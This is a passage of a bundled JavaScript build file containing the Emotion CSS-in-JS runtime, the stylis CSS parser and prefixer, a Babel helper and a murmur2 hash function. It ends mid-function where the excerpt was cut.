20601 onChange,
20602 value: valueProp
20603 }) {
20604 const hasValue = typeof valueProp !== "undefined";
20605 const initialValue2 = hasValue ? valueProp : defaultValue2;
20606 const [state, setState] = (0, import_element11.useState)(initialValue2);
20607 const value = hasValue ? valueProp : state;
20608 const uncontrolledSetValue = (0, import_element11.useCallback)((nextValue, ...args) => {
20609 setState(nextValue);
20610 onChange?.(nextValue, ...args);
20611 }, [onChange]);
20612 let setValue;
20613 if (hasValue && typeof onChange === "function") {
20614 setValue = onChange;
20615 } else if (!hasValue && typeof onChange === "function") {
20616 setValue = uncontrolledSetValue;
20617 } else {
20618 setValue = setState;
20619 }
20620 return [value, setValue];
20621 }
20622
20623 // node_modules/@emotion/react/dist/emotion-element-f0de968e.browser.esm.js
20624 var React7 = __toESM(require_react());
20625 var import_react80 = __toESM(require_react());
20626
20627 // node_modules/@emotion/sheet/dist/emotion-sheet.esm.js
20628 var isDevelopment = false;
20629 function sheetForTag(tag) {
20630 if (tag.sheet) {
20631 return tag.sheet;
20632 }
20633 for (var i3 = 0; i3 < document.styleSheets.length; i3++) {
20634 if (document.styleSheets[i3].ownerNode === tag) {
20635 return document.styleSheets[i3];
20636 }
20637 }
20638 return void 0;
20639 }
20640 function createStyleElement(options2) {
20641 var tag = document.createElement("style");
20642 tag.setAttribute("data-emotion", options2.key);
20643 if (options2.nonce !== void 0) {
20644 tag.setAttribute("nonce", options2.nonce);
20645 }
20646 tag.appendChild(document.createTextNode(""));
20647 tag.setAttribute("data-s", "");
20648 return tag;
20649 }
20650 var StyleSheet = /* @__PURE__ */ (function() {
20651 function StyleSheet2(options2) {
20652 var _this = this;
20653 this._insertTag = function(tag) {
20654 var before;
20655 if (_this.tags.length === 0) {
20656 if (_this.insertionPoint) {
20657 before = _this.insertionPoint.nextSibling;
20658 } else if (_this.prepend) {
20659 before = _this.container.firstChild;
20660 } else {
20661 before = _this.before;
20662 }
20663 } else {
20664 before = _this.tags[_this.tags.length - 1].nextSibling;
20665 }
20666 _this.container.insertBefore(tag, before);
20667 _this.tags.push(tag);
20668 };
20669 this.isSpeedy = options2.speedy === void 0 ? !isDevelopment : options2.speedy;
20670 this.tags = [];
20671 this.ctr = 0;
20672 this.nonce = options2.nonce;
20673 this.key = options2.key;
20674 this.container = options2.container;
20675 this.prepend = options2.prepend;
20676 this.insertionPoint = options2.insertionPoint;
20677 this.before = null;
20678 }
20679 var _proto = StyleSheet2.prototype;
20680 _proto.hydrate = function hydrate2(nodes) {
20681 nodes.forEach(this._insertTag);
20682 };
20683 _proto.insert = function insert2(rule) {
20684 if (this.ctr % (this.isSpeedy ? 65e3 : 1) === 0) {
20685 this._insertTag(createStyleElement(this));
20686 }
20687 var tag = this.tags[this.tags.length - 1];
20688 if (this.isSpeedy) {
20689 var sheet2 = sheetForTag(tag);
20690 try {
20691 sheet2.insertRule(rule, sheet2.cssRules.length);
20692 } catch (e3) {
20693 }
20694 } else {
20695 tag.appendChild(document.createTextNode(rule));
20696 }
20697 this.ctr++;
20698 };
20699 _proto.flush = function flush2() {
20700 this.tags.forEach(function(tag) {
20701 var _tag$parentNode;
20702 return (_tag$parentNode = tag.parentNode) == null ? void 0 : _tag$parentNode.removeChild(tag);
20703 });
20704 this.tags = [];
20705 this.ctr = 0;
20706 };
20707 return StyleSheet2;
20708 })();
20709
20710 // node_modules/stylis/src/Enum.js
20711 var MS = "-ms-";
20712 var MOZ = "-moz-";
20713 var WEBKIT = "-webkit-";
20714 var COMMENT = "comm";
20715 var RULESET = "rule";
20716 var DECLARATION = "decl";
20717 var IMPORT = "@import";
20718 var KEYFRAMES = "@keyframes";
20719 var LAYER = "@layer";
20720
20721 // node_modules/stylis/src/Utility.js
20722 var abs = Math.abs;
20723 var from = String.fromCharCode;
20724 var assign = Object.assign;
20725 function hash(value, length2) {
20726 return charat(value, 0) ^ 45 ? (((length2 << 2 ^ charat(value, 0)) << 2 ^ charat(value, 1)) << 2 ^ charat(value, 2)) << 2 ^ charat(value, 3) : 0;
20727 }
20728 function trim(value) {
20729 return value.trim();
20730 }
20731 function match(value, pattern) {
20732 return (value = pattern.exec(value)) ? value[0] : value;
20733 }
20734 function replace(value, pattern, replacement) {
20735 return value.replace(pattern, replacement);
20736 }
20737 function indexof(value, search) {
20738 return value.indexOf(search);
20739 }
20740 function charat(value, index2) {
20741 return value.charCodeAt(index2) | 0;
20742 }
20743 function substr(value, begin, end) {
20744 return value.slice(begin, end);
20745 }
20746 function strlen(value) {
20747 return value.length;
20748 }
20749 function sizeof(value) {
20750 return value.length;
20751 }
20752 function append(value, array) {
20753 return array.push(value), value;
20754 }
20755 function combine(array, callback) {
20756 return array.map(callback).join("");
20757 }
20758
20759 // node_modules/stylis/src/Tokenizer.js
20760 var line = 1;
20761 var column = 1;
20762 var length = 0;
20763 var position = 0;
20764 var character = 0;
20765 var characters = "";
20766 function node(value, root, parent, type, props, children, length2) {
20767 return { value, root, parent, type, props, children, line, column, length: length2, return: "" };
20768 }
20769 function copy(root, props) {
20770 return assign(node("", null, null, "", null, null, 0), root, { length: -root.length }, props);
20771 }
20772 function char() {
20773 return character;
20774 }
20775 function prev() {
20776 character = position > 0 ? charat(characters, --position) : 0;
20777 if (column--, character === 10)
20778 column = 1, line--;
20779 return character;
20780 }
20781 function next() {
20782 character = position < length ? charat(characters, position++) : 0;
20783 if (column++, character === 10)
20784 column = 1, line++;
20785 return character;
20786 }
20787 function peek() {
20788 return charat(characters, position);
20789 }
20790 function caret() {
20791 return position;
20792 }
20793 function slice(begin, end) {
20794 return substr(characters, begin, end);
20795 }
20796 function token(type) {
20797 switch (type) {
20798 // \0 \t \n \r \s whitespace token
20799 case 0:
20800 case 9:
20801 case 10:
20802 case 13:
20803 case 32:
20804 return 5;
20805 // ! + , / > @ ~ isolate token
20806 case 33:
20807 case 43:
20808 case 44:
20809 case 47:
20810 case 62:
20811 case 64:
20812 case 126:
20813 // ; { } breakpoint token
20814 case 59:
20815 case 123:
20816 case 125:
20817 return 4;
20818 // : accompanied token
20819 case 58:
20820 return 3;
20821 // " ' ( [ opening delimit token
20822 case 34:
20823 case 39:
20824 case 40:
20825 case 91:
20826 return 2;
20827 // ) ] closing delimit token
20828 case 41:
20829 case 93:
20830 return 1;
20831 }
20832 return 0;
20833 }
20834 function alloc(value) {
20835 return line = column = 1, length = strlen(characters = value), position = 0, [];
20836 }
20837 function dealloc(value) {
20838 return characters = "", value;
20839 }
20840 function delimit(type) {
20841 return trim(slice(position - 1, delimiter(type === 91 ? type + 2 : type === 40 ? type + 1 : type)));
20842 }
20843 function whitespace(type) {
20844 while (character = peek())
20845 if (character < 33)
20846 next();
20847 else
20848 break;
20849 return token(type) > 2 || token(character) > 3 ? "" : " ";
20850 }
20851 function escaping(index2, count) {
20852 while (--count && next())
20853 if (character < 48 || character > 102 || character > 57 && character < 65 || character > 70 && character < 97)
20854 break;
20855 return slice(index2, caret() + (count < 6 && peek() == 32 && next() == 32));
20856 }
20857 function delimiter(type) {
20858 while (next())
20859 switch (character) {
20860 // ] ) " '
20861 case type:
20862 return position;
20863 // " '
20864 case 34:
20865 case 39:
20866 if (type !== 34 && type !== 39)
20867 delimiter(character);
20868 break;
20869 // (
20870 case 40:
20871 if (type === 41)
20872 delimiter(type);
20873 break;
20874 // \
20875 case 92:
20876 next();
20877 break;
20878 }
20879 return position;
20880 }
20881 function commenter(type, index2) {
20882 while (next())
20883 if (type + character === 47 + 10)
20884 break;
20885 else if (type + character === 42 + 42 && peek() === 47)
20886 break;
20887 return "/*" + slice(index2, position - 1) + "*" + from(type === 47 ? type : next());
20888 }
20889 function identifier(index2) {
20890 while (!token(peek()))
20891 next();
20892 return slice(index2, position);
20893 }
20894
20895 // node_modules/stylis/src/Parser.js
20896 function compile(value) {
20897 return dealloc(parse("", null, null, null, [""], value = alloc(value), 0, [0], value));
20898 }
20899 function parse(value, root, parent, rule, rules, rulesets, pseudo, points, declarations) {
20900 var index2 = 0;
20901 var offset3 = 0;
20902 var length2 = pseudo;
20903 var atrule = 0;
20904 var property = 0;
20905 var previous = 0;
20906 var variable = 1;
20907 var scanning = 1;
20908 var ampersand = 1;
20909 var character2 = 0;
20910 var type = "";
20911 var props = rules;
20912 var children = rulesets;
20913 var reference = rule;
20914 var characters2 = type;
20915 while (scanning)
20916 switch (previous = character2, character2 = next()) {
20917 // (
20918 case 40:
20919 if (previous != 108 && charat(characters2, length2 - 1) == 58) {
20920 if (indexof(characters2 += replace(delimit(character2), "&", "&\f"), "&\f") != -1)
20921 ampersand = -1;
20922 break;
20923 }
20924 // " ' [
20925 case 34:
20926 case 39:
20927 case 91:
20928 characters2 += delimit(character2);
20929 break;
20930 // \t \n \r \s
20931 case 9:
20932 case 10:
20933 case 13:
20934 case 32:
20935 characters2 += whitespace(previous);
20936 break;
20937 // \
20938 case 92:
20939 characters2 += escaping(caret() - 1, 7);
20940 continue;
20941 // /
20942 case 47:
20943 switch (peek()) {
20944 case 42:
20945 case 47:
20946 append(comment(commenter(next(), caret()), root, parent), declarations);
20947 break;
20948 default:
20949 characters2 += "/";
20950 }
20951 break;
20952 // {
20953 case 123 * variable:
20954 points[index2++] = strlen(characters2) * ampersand;
20955 // } ; \0
20956 case 125 * variable:
20957 case 59:
20958 case 0:
20959 switch (character2) {
20960 // \0 }
20961 case 0:
20962 case 125:
20963 scanning = 0;
20964 // ;
20965 case 59 + offset3:
20966 if (ampersand == -1) characters2 = replace(characters2, /\f/g, "");
20967 if (property > 0 && strlen(characters2) - length2)
20968 append(property > 32 ? declaration(characters2 + ";", rule, parent, length2 - 1) : declaration(replace(characters2, " ", "") + ";", rule, parent, length2 - 2), declarations);
20969 break;
20970 // @ ;
20971 case 59:
20972 characters2 += ";";
20973 // { rule/at-rule
20974 default:
20975 append(reference = ruleset(characters2, root, parent, index2, offset3, rules, points, type, props = [], children = [], length2), rulesets);
20976 if (character2 === 123)
20977 if (offset3 === 0)
20978 parse(characters2, root, reference, reference, props, rulesets, length2, points, children);
20979 else
20980 switch (atrule === 99 && charat(characters2, 3) === 110 ? 100 : atrule) {
20981 // d l m s
20982 case 100:
20983 case 108:
20984 case 109:
20985 case 115:
20986 parse(value, reference, reference, rule && append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length2), children), rules, children, length2, points, rule ? props : children);
20987 break;
20988 default:
20989 parse(characters2, reference, reference, reference, [""], children, 0, points, children);
20990 }
20991 }
20992 index2 = offset3 = property = 0, variable = ampersand = 1, type = characters2 = "", length2 = pseudo;
20993 break;
20994 // :
20995 case 58:
20996 length2 = 1 + strlen(characters2), property = previous;
20997 default:
20998 if (variable < 1) {
20999 if (character2 == 123)
21000 --variable;
21001 else if (character2 == 125 && variable++ == 0 && prev() == 125)
21002 continue;
21003 }
21004 switch (characters2 += from(character2), character2 * variable) {
21005 // &
21006 case 38:
21007 ampersand = offset3 > 0 ? 1 : (characters2 += "\f", -1);
21008 break;
21009 // ,
21010 case 44:
21011 points[index2++] = (strlen(characters2) - 1) * ampersand, ampersand = 1;
21012 break;
21013 // @
21014 case 64:
21015 if (peek() === 45)
21016 characters2 += delimit(next());
21017 atrule = peek(), offset3 = length2 = strlen(type = characters2 += identifier(caret())), character2++;
21018 break;
21019 // -
21020 case 45:
21021 if (previous === 45 && strlen(characters2) == 2)
21022 variable = 0;
21023 }
21024 }
21025 return rulesets;
21026 }
21027 function ruleset(value, root, parent, index2, offset3, rules, points, type, props, children, length2) {
21028 var post = offset3 - 1;
21029 var rule = offset3 === 0 ? rules : [""];
21030 var size3 = sizeof(rule);
21031 for (var i3 = 0, j2 = 0, k3 = 0; i3 < index2; ++i3)
21032 for (var x2 = 0, y3 = substr(value, post + 1, post = abs(j2 = points[i3])), z2 = value; x2 < size3; ++x2)
21033 if (z2 = trim(j2 > 0 ? rule[x2] + " " + y3 : replace(y3, /&\f/g, rule[x2])))
21034 props[k3++] = z2;
21035 return node(value, root, parent, offset3 === 0 ? RULESET : type, props, children, length2);
21036 }
21037 function comment(value, root, parent) {
21038 return node(value, root, parent, COMMENT, from(char()), substr(value, 2, -2), 0);
21039 }
21040 function declaration(value, root, parent, length2) {
21041 return node(value, root, parent, DECLARATION, substr(value, 0, length2), substr(value, length2 + 1, -1), length2);
21042 }
21043
21044 // node_modules/stylis/src/Serializer.js
21045 function serialize(children, callback) {
21046 var output = "";
21047 var length2 = sizeof(children);
21048 for (var i3 = 0; i3 < length2; i3++)
21049 output += callback(children[i3], i3, children, callback) || "";
21050 return output;
21051 }
21052 function stringify(element, index2, children, callback) {
21053 switch (element.type) {
21054 case LAYER:
21055 if (element.children.length) break;
21056 case IMPORT:
21057 case DECLARATION:
21058 return element.return = element.return || element.value;
21059 case COMMENT:
21060 return "";
21061 case KEYFRAMES:
21062 return element.return = element.value + "{" + serialize(element.children, callback) + "}";
21063 case RULESET:
21064 element.value = element.props.join(",");
21065 }
21066 return strlen(children = serialize(element.children, callback)) ? element.return = element.value + "{" + children + "}" : "";
21067 }
21068
21069 // node_modules/stylis/src/Middleware.js
21070 function middleware(collection) {
21071 var length2 = sizeof(collection);
21072 return function(element, index2, children, callback) {
21073 var output = "";
21074 for (var i3 = 0; i3 < length2; i3++)
21075 output += collection[i3](element, index2, children, callback) || "";
21076 return output;
21077 };
21078 }
21079 function rulesheet(callback) {
21080 return function(element) {
21081 if (!element.root) {
21082 if (element = element.return)
21083 callback(element);
21084 }
21085 };
21086 }
21087
21088 // node_modules/@emotion/cache/dist/emotion-cache.browser.esm.js
21089 init_emotion_memoize_esm();
21090 var identifierWithPointTracking = function identifierWithPointTracking2(begin, points, index2) {
21091 var previous = 0;
21092 var character2 = 0;
21093 while (true) {
21094 previous = character2;
21095 character2 = peek();
21096 if (previous === 38 && character2 === 12) {
21097 points[index2] = 1;
21098 }
21099 if (token(character2)) {
21100 break;
21101 }
21102 next();
21103 }
21104 return slice(begin, position);
21105 };
21106 var toRules = function toRules2(parsed, points) {
21107 var index2 = -1;
21108 var character2 = 44;
21109 do {
21110 switch (token(character2)) {
21111 case 0:
21112 if (character2 === 38 && peek() === 12) {
21113 points[index2] = 1;
21114 }
21115 parsed[index2] += identifierWithPointTracking(position - 1, points, index2);
21116 break;
21117 case 2:
21118 parsed[index2] += delimit(character2);
21119 break;
21120 case 4:
21121 if (character2 === 44) {
21122 parsed[++index2] = peek() === 58 ? "&\f" : "";
21123 points[index2] = parsed[index2].length;
21124 break;
21125 }
21126 // fallthrough
21127 default:
21128 parsed[index2] += from(character2);
21129 }
21130 } while (character2 = next());
21131 return parsed;
21132 };
21133 var getRules = function getRules2(value, points) {
21134 return dealloc(toRules(alloc(value), points));
21135 };
21136 var fixedElements = /* @__PURE__ */ new WeakMap();
21137 var compat = function compat2(element) {
21138 if (element.type !== "rule" || !element.parent || // positive .length indicates that this rule contains pseudo
21139 // negative .length indicates that this rule has been already prefixed
21140 element.length < 1) {
21141 return;
21142 }
21143 var value = element.value;
21144 var parent = element.parent;
21145 var isImplicitRule = element.column === parent.column && element.line === parent.line;
21146 while (parent.type !== "rule") {
21147 parent = parent.parent;
21148 if (!parent) return;
21149 }
21150 if (element.props.length === 1 && value.charCodeAt(0) !== 58 && !fixedElements.get(parent)) {
21151 return;
21152 }
21153 if (isImplicitRule) {
21154 return;
21155 }
21156 fixedElements.set(element, true);
21157 var points = [];
21158 var rules = getRules(value, points);
21159 var parentRules = parent.props;
21160 for (var i3 = 0, k3 = 0; i3 < rules.length; i3++) {
21161 for (var j2 = 0; j2 < parentRules.length; j2++, k3++) {
21162 element.props[k3] = points[i3] ? rules[i3].replace(/&\f/g, parentRules[j2]) : parentRules[j2] + " " + rules[i3];
21163 }
21164 }
21165 };
21166 var removeLabel = function removeLabel2(element) {
21167 if (element.type === "decl") {
21168 var value = element.value;
21169 if (
21170 // charcode for l
21171 value.charCodeAt(0) === 108 && // charcode for b
21172 value.charCodeAt(2) === 98
21173 ) {
21174 element["return"] = "";
21175 element.value = "";
21176 }
21177 }
21178 };
21179 function prefix(value, length2) {
21180 switch (hash(value, length2)) {
21181 // color-adjust
21182 case 5103:
21183 return WEBKIT + "print-" + value + value;
21184 // animation, animation-(delay|direction|duration|fill-mode|iteration-count|name|play-state|timing-function)
21185 case 5737:
21186 case 4201:
21187 case 3177:
21188 case 3433:
21189 case 1641:
21190 case 4457:
21191 case 2921:
21192 // text-decoration, filter, clip-path, backface-visibility, column, box-decoration-break
21193 case 5572:
21194 case 6356:
21195 case 5844:
21196 case 3191:
21197 case 6645:
21198 case 3005:
21199 // mask, mask-image, mask-(mode|clip|size), mask-(repeat|origin), mask-position, mask-composite,
21200 case 6391:
21201 case 5879:
21202 case 5623:
21203 case 6135:
21204 case 4599:
21205 case 4855:
21206 // background-clip, columns, column-(count|fill|gap|rule|rule-color|rule-style|rule-width|span|width)
21207 case 4215:
21208 case 6389:
21209 case 5109:
21210 case 5365:
21211 case 5621:
21212 case 3829:
21213 return WEBKIT + value + value;
21214 // appearance, user-select, transform, hyphens, text-size-adjust
21215 case 5349:
21216 case 4246:
21217 case 4810:
21218 case 6968:
21219 case 2756:
21220 return WEBKIT + value + MOZ + value + MS + value + value;
21221 // flex, flex-direction
21222 case 6828:
21223 case 4268:
21224 return WEBKIT + value + MS + value + value;
21225 // order
21226 case 6165:
21227 return WEBKIT + value + MS + "flex-" + value + value;
21228 // align-items
21229 case 5187:
21230 return WEBKIT + value + replace(value, /(\w+).+(:[^]+)/, WEBKIT + "box-$1$2" + MS + "flex-$1$2") + value;
21231 // align-self
21232 case 5443:
21233 return WEBKIT + value + MS + "flex-item-" + replace(value, /flex-|-self/, "") + value;
21234 // align-content
21235 case 4675:
21236 return WEBKIT + value + MS + "flex-line-pack" + replace(value, /align-content|flex-|-self/, "") + value;
21237 // flex-shrink
21238 case 5548:
21239 return WEBKIT + value + MS + replace(value, "shrink", "negative") + value;
21240 // flex-basis
21241 case 5292:
21242 return WEBKIT + value + MS + replace(value, "basis", "preferred-size") + value;
21243 // flex-grow
21244 case 6060:
21245 return WEBKIT + "box-" + replace(value, "-grow", "") + WEBKIT + value + MS + replace(value, "grow", "positive") + value;
21246 // transition
21247 case 4554:
21248 return WEBKIT + replace(value, /([^-])(transform)/g, "$1" + WEBKIT + "$2") + value;
21249 // cursor
21250 case 6187:
21251 return replace(replace(replace(value, /(zoom-|grab)/, WEBKIT + "$1"), /(image-set)/, WEBKIT + "$1"), value, "") + value;
21252 // background, background-image
21253 case 5495:
21254 case 3959:
21255 return replace(value, /(image-set\([^]*)/, WEBKIT + "$1$`$1");
21256 // justify-content
21257 case 4968:
21258 return replace(replace(value, /(.+:)(flex-)?(.*)/, WEBKIT + "box-pack:$3" + MS + "flex-pack:$3"), /s.+-b[^;]+/, "justify") + WEBKIT + value + value;
21259 // (margin|padding)-inline-(start|end)
21260 case 4095:
21261 case 3583:
21262 case 4068:
21263 case 2532:
21264 return replace(value, /(.+)-inline(.+)/, WEBKIT + "$1$2") + value;
21265 // (min|max)?(width|height|inline-size|block-size)
21266 case 8116:
21267 case 7059:
21268 case 5753:
21269 case 5535:
21270 case 5445:
21271 case 5701:
21272 case 4933:
21273 case 4677:
21274 case 5533:
21275 case 5789:
21276 case 5021:
21277 case 4765:
21278 if (strlen(value) - 1 - length2 > 6) switch (charat(value, length2 + 1)) {
21279 // (m)ax-content, (m)in-content
21280 case 109:
21281 if (charat(value, length2 + 4) !== 45) break;
21282 // (f)ill-available, (f)it-content
21283 case 102:
21284 return replace(value, /(.+:)(.+)-([^]+)/, "$1" + WEBKIT + "$2-$3$1" + MOZ + (charat(value, length2 + 3) == 108 ? "$3" : "$2-$3")) + value;
21285 // (s)tretch
21286 case 115:
21287 return ~indexof(value, "stretch") ? prefix(replace(value, "stretch", "fill-available"), length2) + value : value;
21288 }
21289 break;
21290 // position: sticky
21291 case 4949:
21292 if (charat(value, length2 + 1) !== 115) break;
21293 // display: (flex|inline-flex)
21294 case 6444:
21295 switch (charat(value, strlen(value) - 3 - (~indexof(value, "!important") && 10))) {
21296 // stic(k)y
21297 case 107:
21298 return replace(value, ":", ":" + WEBKIT) + value;
21299 // (inline-)?fl(e)x
21300 case 101:
21301 return replace(value, /(.+:)([^;!]+)(;|!.+)?/, "$1" + WEBKIT + (charat(value, 14) === 45 ? "inline-" : "") + "box$3$1" + WEBKIT + "$2$3$1" + MS + "$2box$3") + value;
21302 }
21303 break;
21304 // writing-mode
21305 case 5936:
21306 switch (charat(value, length2 + 11)) {
21307 // vertical-l(r)
21308 case 114:
21309 return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, "tb") + value;
21310 // vertical-r(l)
21311 case 108:
21312 return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, "tb-rl") + value;
21313 // horizontal(-)tb
21314 case 45:
21315 return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, "lr") + value;
21316 }
21317 return WEBKIT + value + MS + value + value;
21318 }
21319 return value;
21320 }
21321 var prefixer = function prefixer2(element, index2, children, callback) {
21322 if (element.length > -1) {
21323 if (!element["return"]) switch (element.type) {
21324 case DECLARATION:
21325 element["return"] = prefix(element.value, element.length);
21326 break;
21327 case KEYFRAMES:
21328 return serialize([copy(element, {
21329 value: replace(element.value, "@", "@" + WEBKIT)
21330 })], callback);
21331 case RULESET:
21332 if (element.length) return combine(element.props, function(value) {
21333 switch (match(value, /(::plac\w+|:read-\w+)/)) {
21334 // :read-(only|write)
21335 case ":read-only":
21336 case ":read-write":
21337 return serialize([copy(element, {
21338 props: [replace(value, /:(read-\w+)/, ":" + MOZ + "$1")]
21339 })], callback);
21340 // :placeholder
21341 case "::placeholder":
21342 return serialize([copy(element, {
21343 props: [replace(value, /:(plac\w+)/, ":" + WEBKIT + "input-$1")]
21344 }), copy(element, {
21345 props: [replace(value, /:(plac\w+)/, ":" + MOZ + "$1")]
21346 }), copy(element, {
21347 props: [replace(value, /:(plac\w+)/, MS + "input-$1")]
21348 })], callback);
21349 }
21350 return "";
21351 });
21352 }
21353 }
21354 };
21355 var defaultStylisPlugins = [prefixer];
21356 var createCache = function createCache2(options2) {
21357 var key = options2.key;
21358 if (key === "css") {
21359 var ssrStyles = document.querySelectorAll("style[data-emotion]:not([data-s])");
21360 Array.prototype.forEach.call(ssrStyles, function(node2) {
21361 var dataEmotionAttribute = node2.getAttribute("data-emotion");
21362 if (dataEmotionAttribute.indexOf(" ") === -1) {
21363 return;
21364 }
21365 document.head.appendChild(node2);
21366 node2.setAttribute("data-s", "");
21367 });
21368 }
21369 var stylisPlugins = options2.stylisPlugins || defaultStylisPlugins;
21370 var inserted = {};
21371 var container;
21372 var nodesToHydrate = [];
21373 {
21374 container = options2.container || document.head;
21375 Array.prototype.forEach.call(
21376 // this means we will ignore elements which don't have a space in them which
21377 // means that the style elements we're looking at are only Emotion 11 server-rendered style elements
21378 document.querySelectorAll('style[data-emotion^="' + key + ' "]'),
21379 function(node2) {
21380 var attrib = node2.getAttribute("data-emotion").split(" ");
21381 for (var i3 = 1; i3 < attrib.length; i3++) {
21382 inserted[attrib[i3]] = true;
21383 }
21384 nodesToHydrate.push(node2);
21385 }
21386 );
21387 }
21388 var _insert;
21389 var omnipresentPlugins = [compat, removeLabel];
21390 {
21391 var currentSheet;
21392 var finalizingPlugins = [stringify, rulesheet(function(rule) {
21393 currentSheet.insert(rule);
21394 })];
21395 var serializer = middleware(omnipresentPlugins.concat(stylisPlugins, finalizingPlugins));
21396 var stylis = function stylis2(styles3) {
21397 return serialize(compile(styles3), serializer);
21398 };
21399 _insert = function insert2(selector2, serialized, sheet2, shouldCache) {
21400 currentSheet = sheet2;
21401 stylis(selector2 ? selector2 + "{" + serialized.styles + "}" : serialized.styles);
21402 if (shouldCache) {
21403 cache2.inserted[serialized.name] = true;
21404 }
21405 };
21406 }
21407 var cache2 = {
21408 key,
21409 sheet: new StyleSheet({
21410 key,
21411 container,
21412 nonce: options2.nonce,
21413 speedy: options2.speedy,
21414 prepend: options2.prepend,
21415 insertionPoint: options2.insertionPoint
21416 }),
21417 nonce: options2.nonce,
21418 inserted,
21419 registered: {},
21420 insert: _insert
21421 };
21422 cache2.sheet.hydrate(nodesToHydrate);
21423 return cache2;
21424 };
21425
21426 // node_modules/@babel/runtime/helpers/esm/extends.js
21427 function _extends() {
21428 return _extends = Object.assign ? Object.assign.bind() : function(n3) {
21429 for (var e3 = 1; e3 < arguments.length; e3++) {
21430 var t4 = arguments[e3];
21431 for (var r4 in t4) ({}).hasOwnProperty.call(t4, r4) && (n3[r4] = t4[r4]);
21432 }
21433 return n3;
21434 }, _extends.apply(null, arguments);
21435 }
21436
21437 // node_modules/@emotion/utils/dist/emotion-utils.browser.esm.js
21438 var isBrowser2 = true;
21439 function getRegisteredStyles(registered, registeredStyles, classNames) {
21440 var rawClassName = "";
21441 classNames.split(" ").forEach(function(className2) {
21442 if (registered[className2] !== void 0) {
21443 registeredStyles.push(registered[className2] + ";");
21444 } else if (className2) {
21445 rawClassName += className2 + " ";
21446 }
21447 });
21448 return rawClassName;
21449 }
21450 var registerStyles = function registerStyles2(cache2, serialized, isStringTag) {
21451 var className2 = cache2.key + "-" + serialized.name;
21452 if (
21453 // we only need to add the styles to the registered cache if the
21454 // class name could be used further down
21455 // the tree but if it's a string tag, we know it won't
21456 // so we don't have to add it to registered cache.
21457 // this improves memory usage since we can avoid storing the whole style string
21458 (isStringTag === false || // we need to always store it if we're in compat mode and
21459 // in node since emotion-server relies on whether a style is in
21460 // the registered cache to know whether a style is global or not
21461 // also, note that this check will be dead code eliminated in the browser
21462 isBrowser2 === false) && cache2.registered[className2] === void 0
21463 ) {
21464 cache2.registered[className2] = serialized.styles;
21465 }
21466 };
21467 var insertStyles = function insertStyles2(cache2, serialized, isStringTag) {
21468 registerStyles(cache2, serialized, isStringTag);
21469 var className2 = cache2.key + "-" + serialized.name;
21470 if (cache2.inserted[serialized.name] === void 0) {
21471 var current = serialized;
21472 do {
21473 cache2.insert(serialized === current ? "." + className2 : "", current, cache2.sheet, true);
21474 current = current.next;
21475 } while (current !== void 0);
21476 }
21477 };
21478
21479 // node_modules/@emotion/hash/dist/emotion-hash.esm.js
21480 function murmur2(str) {
21481 var h3 = 0;
21482 var k3, i3 = 0, len = str.length;
21483 for (; len >= 4; ++i3, len -= 4) {
21484 k3 = str.charCodeAt(i3) & 255 | (str.charCodeAt(++i3) & 255) << 8 | (str.charCodeAt(++i3) & 255) << 16 | (str.charCodeAt(++i3) & 255) << 24;
21485 k3 = /* Math.imul(k, m): */
21486 (k3 & 65535) * 1540483477 + ((k3 >>> 16) * 59797 << 16);
21487 k3 ^= /* k >>> r: */
21488 k3 >>> 24;
21489 h3 = /* Math.imul(k, m): */
21490 (k3 & 65535) * 1540483477 + ((k3 >>> 16) * 59797 << 16) ^ /* Math.imul(h, m): */
21491 (h3 & 65535) * 1540483477 + ((h3 >>> 16) * 59797 << 16);
21492 }
21493 switch (len) {
21494 case 3:
21495 h3 ^= (str.charCodeAt(i3 + 2) & 255) << 16;
21496 case 2:
21497 h3 ^= (str.charCodeAt(i3 + 1) & 255) << 8;
21498 case 1:
21499 h3 ^= str.charCodeAt(i3) & 255;
21500 h3 = /* Math.imul(h, m): */
21501 (h3 & 65535) * 1540483477 + ((h3 >>> 16) * 59797 << 16);
21502 }
21503 h3 ^= h3 >>> 13;
21504 h3 = /* Math.imul(h, m): */
21505 (h3 & 65535) * 1540483477 + ((h3 >>> 16) * 59797 << 16);
21506 return ((h3 ^ h3 >>> 15) >>> 0).toString(36);
21507 }
21508
21509 // node_modules/@emotion/unitless/dist/emotion-unitless.esm.js
21510 var unitlessKeys = {
21511 animationIterationCount: 1,
21512 aspectRatio: 1,
21513 borderImageOutset: 1,
21514 borderImageSlice: 1,
21515 borderImageWidth: 1,
21516 boxFlex: 1,
21517 boxFlexGroup: 1,
21518 boxOrdinalGroup: 1,
21519 columnCount: 1,
21520 columns: 1,
21521 flex: 1,
21522 flexGrow: 1,
21523 flexPositive: 1,
21524 flexShrink: 1,
21525 flexNegative: 1,
21526 flexOrder: 1,
21527 gridRow: 1,
21528 gridRowEnd: 1,
21529 gridRowSpan: 1,
21530 gridRowStart: 1,
21531 gridColumn: 1,
21532 gridColumnEnd: 1,
21533 gridColumnSpan: 1,
21534 gridColumnStart: 1,
21535 msGridRow: 1,
21536 msGridRowSpan: 1,
21537 msGridColumn: 1,
21538 msGridColumnSpan: 1,
21539 fontWeight: 1,
21540 lineHeight: 1,
21541 opacity: 1,
21542 order: 1,
21543 orphans: 1,
21544 scale: 1,
21545 tabSize: 1,
21546 widows: 1,
21547 zIndex: 1,
21548 zoom: 1,
21549 WebkitLineClamp: 1,
21550 // SVG-related properties
21551 fillOpacity: 1,
21552 floodOpacity: 1,
21553 stopOpacity: 1,
21554 strokeDasharray: 1,
21555 strokeDashoffset: 1,
21556 strokeMiterlimit: 1,
21557 strokeOpacity: 1,
21558 strokeWidth: 1
21559 };
21560
21561 // node_modules/@emotion/serialize/dist/emotion-serialize.esm.js
21562 init_emotion_memoize_esm();
21563 var isDevelopment2 = false;
21564 var hyphenateRegex = /[A-Z]|^ms/g;
21565 var animationRegex = /_EMO_([^_]+?)_([^]*?)_EMO_/g;
21566 var isCustomProperty = function isCustomProperty2(property) {
21567 return property.charCodeAt(1) === 45;
21568 };
21569 var isProcessableValue = function isProcessableValue2(value) {
21570 return value != null && typeof value !== "boolean";
21571 };
21572 var processStyleName = /* @__PURE__ */ memoize(function(styleName) {
21573 return isCustomProperty(styleName) ? styleName : styleName.replace(hyphenateRegex, "-$&").toLowerCase();
21574 });
21575 var processStyleValue = function processStyleValue2(key, value) {
21576 switch (key) {
21577 case "animation":
21578 case "animationName": {
